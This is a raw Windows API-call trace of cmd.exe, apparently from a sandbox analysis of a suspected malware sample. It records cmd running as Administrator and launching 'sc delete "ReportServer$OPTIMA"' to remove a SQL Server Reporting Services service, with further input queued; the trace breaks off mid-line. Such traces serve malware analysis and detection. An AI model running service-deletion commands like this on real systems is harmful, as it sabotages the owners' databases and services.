0x2a [0072.143] GetProcessHeap () returned 0x4a0000 [0072.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.143] GetProcessHeap () returned 0x4a0000 [0072.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x52) returned 0x4b9840 [0072.143] GetProcessHeap () returned 0x4a0000 [0072.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0072.143] SetErrorMode (uMode=0x0) returned 0x1 [0072.143] SetErrorMode (uMode=0x1) returned 0x0 [0072.143] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.143] SetErrorMode (uMode=0x1) returned 0x1 [0072.143] GetProcessHeap () returned 0x4a0000 [0072.143] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0072.143] GetProcessHeap () returned 0x4a0000 [0072.143] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0072.143] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.143] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.143] GetProcessHeap () returned 0x4a0000 [0072.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.143] GetProcessHeap () returned 0x4a0000 [0072.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.143] GetProcessHeap () returned 0x4a0000 [0072.143] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.143] GetProcessHeap () returned 0x4a0000 [0072.143] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.143] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.143] GetProcessHeap () returned 0x4a0000 [0072.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0072.143] GetProcessHeap () returned 0x4a0000 [0072.144] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0072.144] GetProcessHeap () returned 0x4a0000 [0072.144] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0072.144] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.144] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.145] GetLastError () returned 0x2 [0072.145] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.145] GetLastError () returned 0x2 [0072.145] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.145] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.145] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.145] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.146] GetLastError () returned 0x2 [0072.146] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.146] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.146] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.146] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.146] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.146] GetProcessHeap () returned 0x4a0000 [0072.146] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.146] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.146] GetProcessHeap () returned 0x4a0000 [0072.146] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xb8) returned 0x4b9180 [0072.146] GetProcessHeap () returned 0x4a0000 [0072.146] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xb8 [0072.146] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"ReportServer$OPTIMA\"") returned 1 [0072.147] GetProcessHeap () returned 0x4a0000 [0072.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.147] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.147] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.147] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.147] GetProcessHeap () returned 0x4a0000 [0072.147] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.147] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.147] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.147] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.147] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.147] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.147] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.147] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.147] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.147] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.147] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.147] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.147] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.148] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.148] GetProcessHeap () returned 0x4a0000 [0072.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.148] GetProcessHeap () returned 0x4a0000 [0072.148] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.148] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"ReportServer$OPTIMA\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"ReportServer$OPTIMA\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"ReportServer$OPTIMA\"", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0xb6c, dwThreadId=0xb78)) returned 1 [0072.152] CloseHandle (hObject=0x54) returned 1 [0072.152] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.152] GetProcessHeap () returned 0x4a0000 [0072.152] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0072.152] GetEnvironmentStringsW () returned 0x4c1b10* [0072.153] GetProcessHeap () returned 0x4a0000 [0072.153] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.153] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.153] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.153] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffda000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.153] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0072.199] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.199] CloseHandle (hObject=0x50) returned 1 [0072.199] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.199] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.199] GetProcessHeap () returned 0x4a0000 [0072.199] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.199] GetEnvironmentStringsW () returned 0x4c1b10* [0072.199] GetProcessHeap () returned 0x4a0000 [0072.199] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.200] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.200] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.200] GetProcessHeap () returned 0x4a0000 [0072.200] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.200] GetEnvironmentStringsW () returned 0x4c1b10* [0072.200] GetProcessHeap () returned 0x4a0000 [0072.200] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.200] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.200] GetProcessHeap () returned 0x4a0000 [0072.200] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.200] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.200] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.200] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.201] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.201] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.201] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.201] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.201] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.201] GetConsoleOutputCP () returned 0x1b5 [0072.201] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.201] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.201] GetProcessHeap () returned 0x4a0000 [0072.201] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.201] GetProcessHeap () returned 0x4a0000 [0072.201] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.201] GetProcessHeap () returned 0x4a0000 [0072.201] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.201] GetProcessHeap () returned 0x4a0000 [0072.201] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.202] GetProcessHeap () returned 0x4a0000 [0072.202] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9840 | out: hHeap=0x4a0000) returned 1 [0072.202] GetProcessHeap () returned 0x4a0000 [0072.202] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.202] GetProcessHeap () returned 0x4a0000 [0072.202] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0072.202] GetProcessHeap () returned 0x4a0000 [0072.202] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.202] GetProcessHeap () returned 0x4a0000 [0072.202] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.202] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.202] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.202] GetFileType (hFile=0x120) returned 0x3 [0072.202] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.202] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.202] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.202] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.202] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.202] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.202] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.202] GetFileType (hFile=0x120) returned 0x3 [0072.202] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.202] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.203] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.203] GetFileType (hFile=0xb8) returned 0x3 [0072.203] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.203] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.203] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.203] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0072.203] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.203] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.203] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.203] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0072.203] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.203] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.203] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.203] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0072.203] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.203] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.203] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.203] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0072.203] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.203] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.203] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.203] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0072.204] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.204] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.204] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.204] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0072.204] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.204] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.204] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.204] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0072.204] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.204] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.204] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.204] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0072.204] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.204] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.204] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.204] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0072.204] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.204] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.204] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.204] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0072.204] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.204] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 